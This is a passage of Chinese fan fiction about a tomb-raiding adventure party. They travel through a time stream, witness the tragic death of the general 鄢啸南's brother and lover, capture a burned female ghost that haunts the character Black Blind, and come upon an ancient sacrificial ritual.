“无论你自我修复能力怎么样，这个计划都不能实行！我这药箱里的镇定剂都把纱布染透了，如果你让我想用湿布把你裹成木乃伊抬出去，我这个医生不会同意的！”霍道夫率先否决，而且他说的不是假话。 就算衍卜寸真的能够迅速恢复，拥有非人一般的能力，那也是人。 他说自己丢失了五感，但在霍道夫眼里，那也只不过是一种自我防御，麻痹精神的机制而已。 而在五感中，霍道夫确定，绝不包括痛觉，衍卜寸只身前往，绝对会在烈火中痛不欲生。 “四眼仔说的对，我们不可能干站着让你一人涉险，然后等你自己蹚出生路来！”胖子将自己的背包带子攥得极紧，整个人因为激动，脸颊红的更厉害了。 甚至怒极攻心，胖子干脆在下一刻将包摔在地上，站在了衍卜寸的面前，像个教育孩子的父亲似的，早就忘却了自己与衍卜寸千百年的岁月横沟。 “我们他妈是一个团队的！不知道倒斗老子牵儿子的道理吗？相处这么久了，都是一条绳上的蚂蚱，凭啥你说走就走，你以为你是革命英雄炸碉堡吗？！” 这话，引得黑瞎子一阵的赞同，他鼓着掌就过来了，然后拍了拍胖子，叫他消消火后才道，“衍卜寸，拿出你商人的精明来，我真不敢想，这样愣头青的计划竟然是你想出来的，怎么，见到这陨石降落，为了找阵眼激动坏了？这不是有个现成的炮台吗？” 说完，黑瞎子就指了指自己脑袋顶上的爱心形大包，然后再将怪怪的触手直接拉了过来，向衍卜寸解释着，“弹弓玩过没有？一根橡皮筋，一颗石头，就能打中树上的松果，我知道你小时候肯定没玩过这样的游戏，现在陪瞎子我玩一玩，好不好？” 这下，被当成小孩子对待的衍卜寸，瞬间偏过了头，而张祈灵已经格外聪明的，准备去将胖子刚扔下来的包捡起来了。 可吴峫对张祈灵的情况紧张的紧，轻推开张祈灵，然后愣是直接一个大迈腿，跟扛大米似的，将胖子揣着大刀和食物的包给搬起来了。 但这一下逞能，差点没让吴峫的腰折过去，幸亏是张祈灵和小哥立马扶了一把，才没让吴峫变成脆脆鲨，而解雨臣也不同意大病初愈的病号负重，于是赶紧将包接了过来，递到了怪怪的触手里。 吸盘疑惑地吸住包，衍卜寸将里头的雷管翻出来后，便扔到了怪怪窝住的触手里，被派活的怪怪，显然是没想到人类能够达成意见，并统一的这么迅速。 它发出卟的一声，将雷管吸的紧紧的，生怕衍卜寸所说的计划，会因为自己的失误而失败。 “看到那条路了吗？”衍卜寸的眼睛泛着光，指着一处位置，身旁的人也骤然消失。 小寸是在意识到陨石带来的能量波动后，主动融入了衍卜寸体内，而怪怪则顺着衍卜寸的视线看过去，紧接着反复试探自己的触手摆动极限，确认好后，才瞄准目标地掷了一颗过去。 果然和黑瞎子所说的一般无二，怪怪的力量简直就是超级加倍的弹弓火炮，首个雷管像是脱离枪体的子弹，甚至没有在逆风中发生任何角度的偏移。 它精准的，朝向衍卜寸所拟定的位置而去，并且在扎进烈火时，发出了它雷生历程里最大的威力。 雪地被炸开了一条鸿沟，坑洞的凹陷露出了其下坚硬的冰冷泥土，并崩出了躲在下方，还能够看到等待春天未萌生的胚芽。 可惜，那些胚芽裹着土，在飞溅出来的那一刻，陨石的下意识汲取，便毫不留情的抽走了它的生命，所以，在衍卜寸的视线里，他能够看到无数个干瘪的，细小如芝麻一样的种子在随处乱飞。 幸亏小寸和自己结合以后的眼睛，看的足够远。 衍卜寸感叹着，便眨着他那猩红的双眸，又抬手，指挥着怪怪加快速度。 等到路段被完全炸出来以后，张祈灵便在吴峫劝阻无果的情况下，于腰间套上绳，同衍卜寸一马当先确认着路段情况。 或许是过去记忆所带来的信任，也可能仅是衍卜寸的这股黏人劲，让张祈灵并不觉得厌烦，他们算不得默契地，一起领头去试探着地形。 “好了，可以走了！”衍卜寸将青铜母铃重新摇晃，感受着陨石的强烈力量。 它吸收掉了那些枯木最后的价值，丛林尽倒，无数应该迎接新生命的植物，全部都被封存在了冰冷的泥土之下。 张祈灵的目光扫过它们的残骸，他看到了生长百年的绵延树根开始萎缩，见到了雪慢慢因为烈火而消失，土地开裂变得干硬，一切的生命都在流逝。 这还仅是它在冬天，对这个世界的极尽索取。 张祈灵一步一步的往上走，踩着被它称为荣耀得那些生灵的尸体，瞬间时间突然不停的加速，冬日的雪彻底的融化，远方飘来的种子重新播撒。 参天大树开始抽条，动植物不断的成长，鲜花开遍千里山岗，张祈灵还来不及领略一观，就见到它们再次枯萎，花瓣失去了原本的色彩，变得氧化而干瘪，树干脆的不成样子，任由狂风骤雨一吹就倒。 牛羊哀嚎，狼群尽灭，猿猴哭啼…… 这个世界，因为它的存在，它的贪婪，它的不择手段，而丧失掉了数以千计的生命。 等张祈灵走到山顶，目视着那黝黑，如巨大深渊一样的陨石时，只觉得荒谬，就是这么一个天降之物，里头竟藏着远古神话中的烛龙，就因为它，而导致钟山变成了一片荒芜。 吴峫察觉到张祈灵的神情不对，也压抑着自己心底里对着烛龙的强烈谴责，然后，他轻拽住张祈灵的袖口，以示同感与安慰。 时间在众人的视野里不断的加速，一次次的汲取，再休养生息，等待雨来汇成水，将陨石的洞填成天井，等待水来聚成湖，再由湖变成海。 青铜块的瓦解，匠人的锻造，直到第一扇门出现在众人面前，才开辟了它将以吸收人类作为目标的开始。 这时候的张祈灵突然意识到什么，他骤然回头，想要去看牵绳末端的鄢啸南，但对方早已消失的无影无踪。 而此刻，他们面对的是马蹄踏破黄沙，长枪剑指天涯，鲜血毫不留情的挥洒。 嘭嘭嘭…… 这是鄢啸南一心系在鄢然身上的心脏跳动。 而在鄢啸南绞杀下敌方将领的那一刻，他似乎听到了某种声音，将军满脸鲜血，手拿长枪，边疆尽头迎来黎明的曙光，他翻身下马，侧头之际，距离战场几百里外飘来的蛊惑之音，骤然响起。 “因果循环！”张祈灵直接割下了自己腰间的绳子，向着鄢啸南猛的扑了过去。 察觉到来人的鄢啸南以为是敌人，刚把长枪刺出去，却被张祈灵直接踢飞，负压在鄢啸南身上的张祈灵，突然捂住了身下人的耳朵。 蛊惑之声，在发现张祈灵出现的那一刻，并非瞬间就止住了，相反，它的声音在刹那间就改变了腔调，是比任何金属碰撞都要锐利的尖叫，甚至险些刺破张祈灵的耳膜。 “你是怎么找到这里的！ 这是我和他的因果！ 你不能干涉！！！” 真正的它赶来了，在肉眼看不到的强大威压下，张祈灵于门内的时间长河中，找到了他所说的开始。 这里不是它所记录的荣耀演练，那些文字，只不过是为了掩藏真相的幌子，整个门内世界，都是一段段不断在重演的因果循环，它能够长生，是因为它看着这因铸造的果逐渐饱满，和衍光善所设禁地的那些果实一样，同鄢啸南的预测一般无二。 它靠着这早就定好的因，等待着早就知道会结出的果，它掌握着这人世间的贪婪，并在这个门用自己的能力去加以利用。 鄢啸南的交易是假，它吞吃人性的欲望加以己身才是真。 它的门是它长生的条件，它引导鄢啸南入局，激发衍光善对自己唯命是从，它因为衍光善想要续命的愿望，紧接着又创造出了属于衍家的第一个张祈灵，并控制着衍家对张祈灵产生信仰，利用神造神，操纵衍光善养育了整个衍家。 等获得衍家一脉的信任后，再通过衍家渗入汪家本营，利用衍光善与鄢啸南的老黄历，通过给鄢啸南的能力，来让鄢啸南投诚于汪家，在汪家获得运算部强大利益的同时，也对它自己也产生兴趣。 紧接着，它利用这布大棋，来试图探入最容易接近墓穴生意的九门，妄想继续实现，利用人类贪欲去活命的长生大计。 而张祈灵的直觉，能够让他清楚意识到，现在就是一切的开始，是它守护的生命长河里， ——最重要的起始点。 此时此刻，衍卜寸看到了张祈灵头顶悬着那烛龙的羽毛，便立刻带着人冲了过来。 “他妈的，衍卜寸你没说这种硬刚是这个情况啊！”黑瞎子能够看到那几乎能够摧毁一切的巨大羽毛，于是直接开枪，将其弄出了好几块窟窿。 半空中的羽毛颤动了几下，却依旧像块硬砖扑了下来。 衍卜寸的红线织成网，抵挡在鄢啸南和张祈灵面前，他舔了舔干涩的唇，回答着，“不亲自来一场，谁知道真的会发生什么？况且黑瞎子，我们都不是普通人，在与它对抗这一点上，我们也有它没有的优势。” “什么优势啊？这东西看不见，怎么打？！”而胖子看不到究竟是什么东西掉下来了，只能用刀尖扛。 在胖子后面的小哥，则凭借着本能拿黑金古刀相抵。 不过，衍卜寸给的武器与黑金古刀相比，也是实打实的坚硬，竟然这么久都没有碎，可是胖子真的深刻感受到了肌肉在强压下的酸痛。 衍卜寸用红线绞掉它的羽毛，顺便将青铜母铃再次摇响，确认着阵眼就是这里，然后才回答，“因为看不到，所以才无所畏惧不是吗？” “这说的还真热血。”霍道夫将药箱扛在背上，左眼镜片在刚才的强压下裂出了一道纹路，“如果你早几年请动我，估计我会毫不犹豫地跟你大干一场。” “说的好像现在你没站在这里似的。”黑瞎子歪了歪头，将冒烟的枪吹了吹。 解雨臣和吴峫则立刻赶到张祈灵的身边，看着他和他身下鄢啸南的状态。 “这是怎么回事？不是说我们进来的实景，是类似于它记录事迹的那种展厅里吗？别告诉我，这是真的过去？！”吴峫看着鄢啸南现在明显更年轻的脸，立刻确认了自己内心所想。 衍卜寸听到吴峫的话，便走了过来，他知道这个计划外的大差错，实在是偏的太厉害了，“我没想到阵眼会是这样的，但现在看来，我们进入的不是实景空间，而是真正的时间长河里，我们阻止鄢啸南许愿，就是扼断它一切的开始， 所以，阿祈阻止鄢啸南做的没错，况且，未来的鄢啸南，不是也同意这个意见了吗？” 但张祈灵身下的鄢啸南听到衍卜寸的话，却带着迷茫的撑起身子，他看向穿着奇形怪状服饰的众人，疑惑又怒极，满脸戾气的发问，“你们是何人！” 第249章 死在彼此最爱的时候 张祈灵扣住了鄢啸南的嘴，清冷的眸子微眯起来，带着连他自己都不知道的危险神色，他一字一顿，对着鄢啸南提起对方最在意的事物，“没有时间了，时间在这件事上不起作用，回家。” 挣扎不开的鄢啸南，在听了这句话后，便愕然的瞪大了眼睛，他自然清楚这个年轻人嘴里的没时间了是什么意思，对方说的，不是自己要死了，他知道自己的身体状况，在这里，在他已知的人中，没时间的只会是鄢然，是自己的弟弟！ 片刻后，等张祈灵看清鄢啸南眼里的恍然时，他也就松开了手。 而当鄢啸南恢复自由的那一刻，他便连滚带爬的抽身离开张祈灵了，甚至，他连自己飞出去长枪都没来得及拿，鄢啸南虽然不知道这帮莫名出现的人是怎么回事，可一旦涉及鄢然，他便会拔高十二分的精神去应对。 所以，鄢啸南选择了翻身快速上马，黄沙再次因为马蹄踢踏四散溢起，但这一次，却是因为鄢啸南的归家急切，而并非是战火纷飞的你死我活。 “没时间了，原来是这个意思吗……”吴峫喃喃念着，在这时候，他才明白那时候在沙漠时，张祈灵上车之际说出这句话的原因。 因为吴峫最开始，以为张祈灵所说的没时间了，是在模仿小哥，是对小哥被天授进门的嘲讽，是对自己十年计划的不屑…… 但似乎，张祈灵早已在门里的时间段，就已经清楚，被剥夺掉时间的，其实从来不仅仅是被献祭，被囚禁，被推崇成神明的他自己。 吴峫回想着张祈灵过去说的那句话的意思，其实，张祈灵似乎从一开始就没有带上主语的主人公，只不过是自己联想出自己和小哥代入了进去，但张祈灵所参透的，明明是鄢啸南，而不是其他任何人，他只是出来忘了，才记得这一句话。 不清楚，不确定，但是又知道要和自己提这件事，吴峫的手有些颤抖，他不敢相信，原本丢失掉记忆的张祈灵，竟然在此时门内记忆回归以后，想起这么重要的线索，并且阻止了那个势力与鄢啸南的交易！ 而张祈灵现在的这个提醒，就是为了让鄢啸南去看鄢然最后一面。 鄢啸南才是最没有时间的人， 时间在这件事上，是最不起作用的。 “别想什么意思了，赶紧跟上，待会儿该跟丢了。”黑瞎子立马低头，顺着鄢啸南留下的马蹄印去找路线，但是沙场上全是尸体，很难分辨鄢啸南的方向，于是，他只能提步，朝大概的方位行走。 吴峫攥紧了张祈灵的手，将他扶了起来，并拍掉了张祈灵身上沾着的沙子。 目睹全过程的衍卜寸没有时间去吃醋，只能扣住寻路警犬黑瞎子的肩膀，然后说道，“我来带路，我知道路线。” 黑瞎子听此，立刻咧开嘴笑着，生怕自己被累到，并且赶紧将路给衍卜寸让出来，并侧身走在旁边，让衍卜寸在前面领头走着。 而不久，他们就到了鄢啸南的“人生终点”。 鄢家老宅，因为鄢啸南的战功赫赫，而装修的很是恢宏大气，这让鄢家的宅邸，在西汉时期成为了最有特色的建筑物，城中只有鄢家的匾额高挂，张祈灵抬头看了一眼，发现桐油将其刷地红得灿烂，明亮的出奇。 而此时太阳随着时间推移而彻底升起，这使阳光毫无阻碍的照进四四方方的院落。 张祈灵在中间位置，看着前面的衍卜寸和黑瞎子进入其中，两人身影错峰，切割着本就算不得炽烈的阳光，里堂传出了激烈的摔物声，和一群人的求饶声。 张祈灵挤着缝隙，和大家躲在柱子后听着，鄢啸南似乎在训人，声量很大，“你们这群庸医！我弟弟不会死的，他不会死！你们的诊断给我改，全都给我改！！！” 听了这话，吴峫好奇又忐忑的冒了点头，却被张祈灵压进了怀里，而在这个视线里，张祈灵能够透过门缝，看到跪倒在地的大部分医者外，被鄢啸南身躯所遮挡住的，鄢然的一抹病态的白皙手腕。 像是失去了所有生机的莲藕，仅用细密的丝似的，堪堪的吊在那里苟活…… 胖子不敢再听再看，他捂着下半张脸，扭过了头，虽然这是鄢啸南答应的，是他听从衍卜寸的话，让鄢然不再经受痛苦又无法死亡折磨的计划。 可是现在，西汉时期的鄢啸南，并不知道自己被剥夺了能够救鄢然的唯一方法。 这个半生征战沙场的大将军，这个鄢家的顶梁柱，庶出的长子，鄢然的哥哥，此时只能看着自己的弟弟，自己那违背伦理纲常的爱人，慢慢的流逝掉所有的生命。 鄢啸南握住鄢然瘦弱的不成样子的手，从未被风沙迷上的眼睛，此刻不要命的滚着热泪，病榻上的人奄奄一息，喉咙间滚着流不完的血，像是生生在他心里剜下了所有的肉，片片凌迟，又次次无法解脱。 “看看哥哥，看看我……小然，别走，别走，你看看哥哥好不好？”鄢啸南将鄢然冰凉的手，贴在自己还来不及擦的脸颊上。 温热的自己，捂不热一个久眠病榻的人，鄢啸南只能将鄢然失措的抱在怀里，听着下面医者不敢吱语的倒吸凉气声。 鄢然的呼吸渐浅，他漂亮的眸子涣散的盯着面前的爱人，对方的轮廓，在自己的视线里模糊不清，但他知道，哥哥在哭，可是，他没办法了，自己好疼啊，疼到听不清哥哥的啜泣，只能感受到那滚烫的热泪，像是瓢泼大雨一般，砸在自己的脸上。 于是，他只能撑起最后的力气，舔了舔唇角，他的舌尖碰了哥哥的泪，就当，就当临终之际，是自己吻过他了…… 哥哥，我真的，很爱很爱你。 鄢然的心跳彻底停止，而鄢啸南的最后一滴泪，也落在了对方的眼睑处，紧接着又无声无息的划过，这个没有任何怜悯的世界，最终带走了鄢啸南最爱，最爱的人。 “你不会死的，对不对？不会死的……我的小然是要长命百岁的，是这里太冷了吗？是哥哥回来太晚了，是小然在和哥哥开玩笑吗？哥哥不走了，哥哥陪着你，哥哥永远陪着你……”鄢啸南明知怀中人已死，却仍自欺欺人的吻着他的唇，去骗自己他还尚有余温。 堂内医者无一人吭声，只是静默的，静默的看着那个没法救治的病人远走，然后，见证着离去的人，也牵走了鄢大将军的魂。 愿望的实现，是要付出代价的， 可如果，现在有谁告诉鄢啸南能够复活鄢然的话，那他一定会和曾经的自己一样，赴汤蹈火也要去做。 不过，吴峫、衍卜寸、张祈灵、黑瞎子…… 所有的人都清楚，未来的鄢啸南，一步步的看着鄢然饱受折磨，经历着成为衍光善的真正痛苦，在后来肯定是希望，如果自己当时不那么执着，让鄢然长痛不如短痛，将一切都扼杀在摇篮里的话，对方就不用受那么多苦了。 小然早该走了，是自己的一厢情愿，让彼此的仇怨形成，令对方恨了千年之久。 而张祈灵，此刻听着鄢啸南的哭声，听着他自欺欺人的话语，难免心中有些异样，这让他的指尖颤动了几下，这时候的吴峫，感受到了头顶那只手的异常，于是向张祈灵摇了摇头。 世间因果如此，既阻了它，就不要过于感伤，早就知道的结果，早就清楚的答案，不用为了自己的行为，而觉得亏欠了鄢啸南。 因为这是未来的鄢啸南，为此刻的鄢啸南所做下的决定，是痛苦千年的鄢然，所留给现今鄢啸南的机会，他们共同完成了当初最想要做的事。 死在彼此最爱的时候，走在恨意未萌芽之际。 所以放手吧，解脱吧， 让一切爱恨嗔痴， 都成为我们下一世相遇的缘分。 空间骤然崩塌，张祈灵等人跌出了属于西汉鄢啸南的时空长河，而倒在地上的张祈灵，亲眼见证这这扇门破碎掉了，但那些散落的镜片，却让张祈灵看到了不同寻常的一幕。 已经成为灵魂的鄢然，此刻正笑着握住鄢啸南的手，那清亮的眸中不带有任何的阴鸷，他正明媚的挑着眉，骄矜的不可一世，像个单纯的少年郎，“哥哥，我们下辈子还做恋人吧……我保证，我再也不会和你分开！” 鄢啸南失神的拉住鄢然的手， 投入他的怀抱中， 直到一切尽灭。 衍卜寸和黑瞎子显然也看到这个奇异的场景，在短暂愣神以后，黑瞎子才被胖子掐醒。 “你们看到什么了？怎么三个人一起愣在那里了？！”胖子好奇的凑近，又谨慎的观察着周围，这里没什么门的存在，只有一片的虚无。 黑瞎子在和衍卜寸，以及张祈灵对视，确认完自己刚才所看到的不是幻觉以后，才说，“空间碎裂的时候，看到了他们两个，额……俩魂儿约着再在下一世再续前缘。” “这么玛丽苏？你小说不会看多了吧。”吴峫抖了抖自己的衣服，这么调侃着黑瞎子，但其实并不觉得黑瞎子是在撒谎，顶多认为他是在夸大其词罢了。 黑瞎子推着镜架，急的单脚跳着站起来，“什么小说看多了，你问衍卜寸和祈是不是这回事！” 眨巴着眼睛的张祈灵，随即点了点头。 衍卜寸扶着额，评价了一下，“确实有点奇幻，不过刚才那个空间里，我们距离阵眼很近……” 他晃了下青铜母铃，“现在远了很多，估计是它为了自保，趁着鄢啸南那边的因果毁灭，于是把我们传送了出来。” “那个因果是真实发生的吧。”解雨臣蹙着眉，“是以后，他们真的就不存在了吗？” “嗯。”衍卜寸点头，“我原本以为，捣毁它能保住鄢然不死的，但我觉得，是鄢啸南早就知道了只要自己知道能复活鄢然，就会不择手段去做这一点， 毕竟，他的眼睛，是那个势力给忠诚信徒的恩赐，未来的自己，会更清晰的知道过去自己的执拗，所以他笃定，我们会阻止他许愿。 因为如果他带着能够复活鄢然的目标活下去，那他这辈子都不会安生的，他太清楚自己的性格了，所以，就干脆不让过去的自己知道这件事，所以既不知道，也不会后悔。” 说完，衍卜寸的神色沉了下去，又继续道，“其实也是我没做到，我如果找到阵眼的确切位置，直接摧毁掉，也许，能够用它剩余的力量，灌输给鄢然，弄一个彻底治疗病症的长生。” “这已经是最好的结果了。”黑瞎子单脚站不稳，于是按着衍卜寸的肩膀，撑着身体。 胖子也跟着附和，劝慰衍卜寸宽心，“不是说咱们事不关己，或者是别的，我们做到了一直在撵着那势力跑，也没有任何的放弃，已经很好了。” 小哥也点头，同意着他们的话。 第250章 女尸 一切尘埃落定后，环视一周的张祈灵，并没有发现这里有其他门的存在，于是伸手拽了拽衍卜寸的袖口，“走？” 他的意思是怎么走。 衍卜寸看出来了，便晃了晃铃铛，确认了一下距离和方位后，才回答道。 “有门，但是要走很远，能坚持住吗？”衍卜寸说完，便招呼着怪怪再来吐一遍口水。 再次被唾液所洗礼的张祈灵，抹了把自己脸上黏哒哒的水，索性没什么异味，等血止住以后，他才点了点头，示意自己的情况能撑得住。 看着张祈灵的精神状态不错，衍卜寸才同意继续前行，可一踏步，就感觉似乎穿越过了什么无形的东西，凉凉的，让人还来不及思索，就见地面瞬间变成了土地。 顿时，察觉到环境变化的黑瞎子，只感觉自己的后背一沉，他偏头，借着身侧衍卜寸胸口的鬼玺光晕，顺着看过去，才发现是她骑在了自己的背上。 女人的长指甲，死命的扣着自己的眼睛，衍卜寸看到这样的场景，立刻将那脏东西从黑瞎子身上扒了下来。 “靠，衍卜寸你能不能靠谱一些，不是说门远着呢吗？怎么一下子到了我被附身的时候！”黑瞎子顿时感觉自己的后背轻了不少，和原先秤砣压顶不一样的舒爽感，让他嘚瑟地拧起脖子吱嘎响。 倒在地上的女人全身黑黢黢的，在翻滚了半圈，还来不及再次扑击，就被小哥和张祈灵的刀所齐力钉在了地上，爬不得，也起不来。 吴峫凑了过来，因为肉眼凡胎，只能看到小哥和张祈灵的刀在地面上立着，不断的颤动，随即，他忙问黑瞎子，“说什么云里雾里的呢？是出现了什么吗，我怎么看不到。” “你小，年轻着呢，肯定不知道这个事儿，我的眼睛天生有疾，但并没有现在这么严重，我的眼睛，是因为早年北京发生了一桩悬案而发生的问题，死了十三个男人，而其中，被发现的一具女尸，更是被烧的面目全非，不过皮肤和油脂却全部消失了，而且她是站着死的。”黑瞎子咧着笑容，像是讲鬼故事一样。 胖子听的一哆嗦，“不是吧，没看出来你好奇心这么强，你就这么进去查了？” 说完以后，胖子又意识到不对劲，等到他巡视周围以后，才立刻大叫起来，“我靠，我们现在就是在那鬼地方里吧？！” “安了安了，哑巴和祈已经把这女人钉上了，不过，我否认我好奇心强这个标签，你黑爷办事儿，从来不是给自己办的，这不是为了钱嘛……”黑瞎子搓着手指，“是早年的霍仙姑的丈夫接管了这件事，所以霍仙姑其实先去找了陈皮出手帮忙，但由于陈皮啊，身上命案太多，不方便露面，结果他就引荐了我。” 解雨臣眉头蹙起，“这件事情，我听到的时候才十岁，你后来跟我讲起来的时候，我以为是你编的鬼故事。” 曾经，黑瞎子就是用说笑话般的方式，将这件事情讲出来的，解雨臣只以为那是烘托气氛，甚至还给吴峫讲过。 可现在看来，想要让人信服于一个谎言，那么里面一定要有实际存在一些真相，真真假假之间的不是明朗，才能够让听进去的人清楚对方嘴里所说的，是自己想要相信的。 此刻张祈灵能够感觉出来，黑瞎子在嬉皮笑脸间，在每个不甚在意的字眼里，其实都是在求救罢了。 “哎呀，陈年旧事，都是陈年旧事了，要不是现在站在这里，我都没想过再拿出来讨论讨论。”黑瞎子摆了摆手，然后继续交代起来， “那会儿我是通过马仙了解到是仙物害人，而这个仙物，来自于一个不知名的地方，离开那个地方的东西就会害人，而我在调查期间发现了一口井，从井里捞出了一具女性尸体，她脖子上挂着一面奇怪的铜镜，我透过那面镜子，得知自己的背上有东西，并且捂住了我的眼睛。” 吴峫听此，立刻在脑海里有了想法，他拍了拍黑瞎子的肩膀，眸中满是审视，与不允许对方撒谎的执拗，“所以，你确确实实，是把那家伙背出来了？” “昂，那会儿年轻气盛，为了赚钱，可真是说背就背……但谁能想到，最后害了自己，所以这之后，我就一直觉得有个东西趴在我的背上，把我的头往下按，从此之后，我的眼睛只有在漆黑的地方才能看得到事物。” 黑瞎子嬉皮笑脸的说完，然后将自己的墨镜弹了弹，才将视线，停留在地面上的那个正活蹦乱跳挣扎的女人身上。 “不过，我这人，当时真的觉得太有趣了，还发誓要和这个东西死磕到底，不过实在没有办法解决掉她，所以，后面我就训练了不用眼睛生活，而且，用了半年的时间就学会了。 不过，很快我就发现了不对劲，这个未知的生命体开始有了某种意识，并试图争夺我的身体，这之后，我眼睛的状态彻底大不如前了。” 张祈灵听着黑瞎子的过往，蹙着眉，紧张的蹲在那，仿佛能从自己的观察里去参透拯救黑瞎子的办法一样，紧紧的看着她。 这个女人看不清任何的面貌，但是服饰上似乎有一些奇怪的图案，张祈灵试探着将手伸过去，然后拽了一抹衣角下来，发现那是类似于某种宗教仪式的印记。 只不过仅是片面的一角，看不出什么名堂来。 衍卜寸看到了张祈灵所扯下的东西，于是走过来，伸出手讨要了下，对方毫不犹豫的递给了他，再观察一会儿后，衍卜寸才说道，“这和那个势力的龙纹很相近，或许这个东西，与它有联系。” “能交流吗？喂，会不会说中国话！”胖子立刻俯下身，与那一团他看不清的东西进行着交流。 张祈灵看着女人被刺激的呲牙咧嘴的样，于是把胖子往后扯了扯，“小心。” 疑惑的胖子挠了挠脸，毕竟他看不见这东西，所以心底里也就没有那么的害怕，可张祈灵是真切的看见了这个女人伸出利爪时，想要活剥胖子的样子，那种杀意不是假的。 衍卜寸将那块布放进兜里，然后冲黑瞎子笑了下，“我们现在在这个门里，面对的是时间长河的流逝，刚才我们在鄢啸南的时间里，而现在我们在你过去的时间里，黑瞎子，我觉得我能治好你的眼睛。” “认真的？”黑瞎子挑了挑眉，是真不知道自己的毛病，能够被完全的治愈。 衍卜寸点头，眼里的笃定不像是假的，“认真的，信不信在你，也许下一个门，就能揭开所有的真相。” 起身的张祈灵，并没有参与衍卜寸给黑瞎子的选择话题中，他只是伸手指了指地上的那个女人，“带走？” 也就是在张祈灵张口说完这两个字的那一刻，黑瞎子也在心底里做好了自己的决定，“带走，让衍卜寸给她五花大绑带走！掐了我那么多年，也该让她长长记性了。” 黑瞎子不再是另一副，纨绔的，只会开玩笑的样子，事实上在场的人都懂得黑瞎子这一次的认真，毕竟面对着一个折磨自己半生的家伙，谁都不会给那个东西好脸色。 “好，就让我们重新调查一下吧。”衍卜寸将女尸用线绑了起来，小哥和张祈灵把刀收了回来。 然后这个女尸便像狗一样，被衍卜寸拖走了。 女人倒在地上，身体因为挣扎不断的摩擦着，就像是一条在扭动的蛇，也类似是蛆，而随着她的动作，那些被火灼烧到成炭的皮肤，不断地往下落，令人观感不太美好。 于是张祈灵，率先撇开视线，跟着衍卜寸后面走。 很快，在走过一个门后，场景开始迅速变化，黑夜降临，但热烈的天气，瞬间让套着羽绒服的众人立刻出了一层汗。 胖子忍不住快速脱下了外套，恨不得把自己的毛衣也跟着扯开缕下来，“不是，这个我干哪儿来了，这个天气还是国内吗？怎么会这么热，海南也没这样吧。” “看植被茂盛的程度和品种，这里是东南亚。”吴峫立刻分析着，然后向胖子眨了眨眼，“你别说，胖子，我有时候觉得你的直觉真的很准，但是通常我都不采纳。” “你又是在说选路的时候吧？每次都让我排除错误答案！”胖子假装气恼的哼着。 但张祈灵却立刻和小哥挡在了他们的身前，火焰在这里围绕成一个圈，使得明亮的烈火照亮了所有的黑暗，人群跪在地上仿佛在祭拜着什么，也像是在执行某种宗教仪式。 而就在这时候，被衍卜寸所缠着的那个女尸瞬间消失了，其实这种情况就和鄢啸南的一样，因为故事里的主人公为了填补原先的故事线，就会将现在的果，去顶替掉那个过去的因。 所以衍卜寸并不着急，甚至不紧不慢地将裤兜里的破布拿了出来，与这些人身上的服饰做着对比，果然是一样的标志，但他们的衣袍，因为衣料完整而做的格外的精细。 众人能够看到，他们背上完整的龙纹下，交织的是挥舞触手的何罗鱼，而他们中心所供奉的那个雕像，这并不是他们身上那些纹路的任何一种形态。 因为那是一只眼睛，是外表由白釉烧制，中间嵌满着红宝石的，一个巨大的眼球。 而就是一个男人，在给这个眼球颤抖着安装稳定的框架的时候，那眼睛却骤然动一下，随即目光定在了男人的身上。 可怕的一幕发生了，那个眼球竟然发出了一种靓丽的光芒，然后男人就开始疯狂的抽动，像是四肢不听使唤一样，直到他突然变得静默，跪倒在地才停下。 张祈灵能够看到，似乎有一个东西正在将男人的脊背往下压，直到这个人的血肉冲破了皮肤的屏障，变成了瘫在地上的一张薄纸后，那个东西才停止下来。 那个眼球里所跑出来的东西，黑黢黢的，既不像人形又不像任何的生物，它贪婪地游荡在每一个人的身边，随后把挑中的“幸运儿”再度压成了肉饼。 如此疯狂的行为，让惊惧的人们看着自己的亲人一个个死去以后，终于忍不住的爆发，率先拿起火炬的那个男人，将烈火朝着被附身压地那个人丢去，猩红的火苗点燃了被附身的那个人的躯壳。 空气里骤然回荡着一声嘶吼。 那个东西为了活命，于是立刻窜出，滚到了下一个人的身上，看来这个宿主如果死了的话，这个东西会瞬间移动到另一个活人的身上。 火焰开始急速的蔓延，便在干燥的环境下越发灼烈，被点燃的不是那个东西，而是一个又一个的人，他们将缸里的水往外泼，却还是抑制不住现今的场面。 直到一切接近焚毁，这团生物则瞬间窜入地下，那颗眼球也瞬间消失了。 “真是因果啊，竟然让我见到了祭祀仪式的开始。”黑瞎子舔着唇，难怪自己背上来的那个女尸，竟然拼命的抓住自己这么多年，合着从一开始就是想要寄生呗。 衍卜寸在旁边观察着它最后的去向，然后仔细思索了一下，“这东西可能是它的某种力量或者是化身，至于他们供奉的这个眼球吧，我感觉是和那颗陨石一样，是那个势力在得到欲望交易以后，形成的某种具象化的外壳。” “见过。”张祈灵点头，他毕竟与那个眼球朝夕相伴了那么久，自然清晰地记着这个东西的模样。 黑瞎子听后，并未多言，只是指了指那东西最后离去的地方，向众人说道，“既然见过，那待会儿就好认了，走吧，说不定下去以后，还能看到那女尸最新鲜的时候。” “你当吃寿司呢，还最新鲜？！”胖子搓了把胳膊，因为黑瞎子的描述而起了一身鸡皮疙瘩。 黑瞎子挑眉，纯带着逗人心态去回答，“你能联想到寿司，是觉得那东西挺美味吧，咦？没想到你异食癖啊。” “我去你丫的！”胖子毫不犹豫，冲着黑瞎子后背就来了一掌。 第251章 你老了 黑瞎子皮糙肉厚，被打着其实也不疼，但却偏爱装难以忍受，像猴子一样的吱哇乱叫，并赶紧挪着碎步，连忙离魔掌胖子远了些。 “别闹了，朋友们，我们要回归老本行开工了。”吴峫这么说完，便立马拉住一路踢踏舞，差点要窜到密林里的黑瞎子，并提醒道，“别太莽，一起走。” 听此，黑瞎子点头，他知道这个道理，所以立刻停步，骄傲的昂起头，“放心，真正的一马当先是蠢人行为，你师傅我是不会这么干的，只是我的腿呀，啧啧啧……就是天生长，没办法，一个跨步赶上别人俩。” 吴峫嘴角抽动了着，无奈将拽住黑瞎子的手给松开了，他终于知道，在胖子眼里的黑瞎子，究竟有多欠揍了。 “黑瞎子，你别炫耀你的腿了，母铃有反应了，在这里开挖吧。”衍卜寸停语后，便将铃铛收好在口袋里。 胖子也格外熟练的把包里的洛阳铲拿了出来，大家三三两两从背包里拾出工具，开始朝着地面上，衍卜寸定的那个点开始挖，这里的地形其实算不得好，而且因为水源充沛，所以导致土地处于一种干燥又湿润的状态中。 而脑袋顶上是热辣的太阳，白日里的温度热得够呛，哪怕是重伤的张祈灵，也忍不住解开了外套，准备动工，但还没等他拿着铲子开挖，他就被吴峫所制止了。 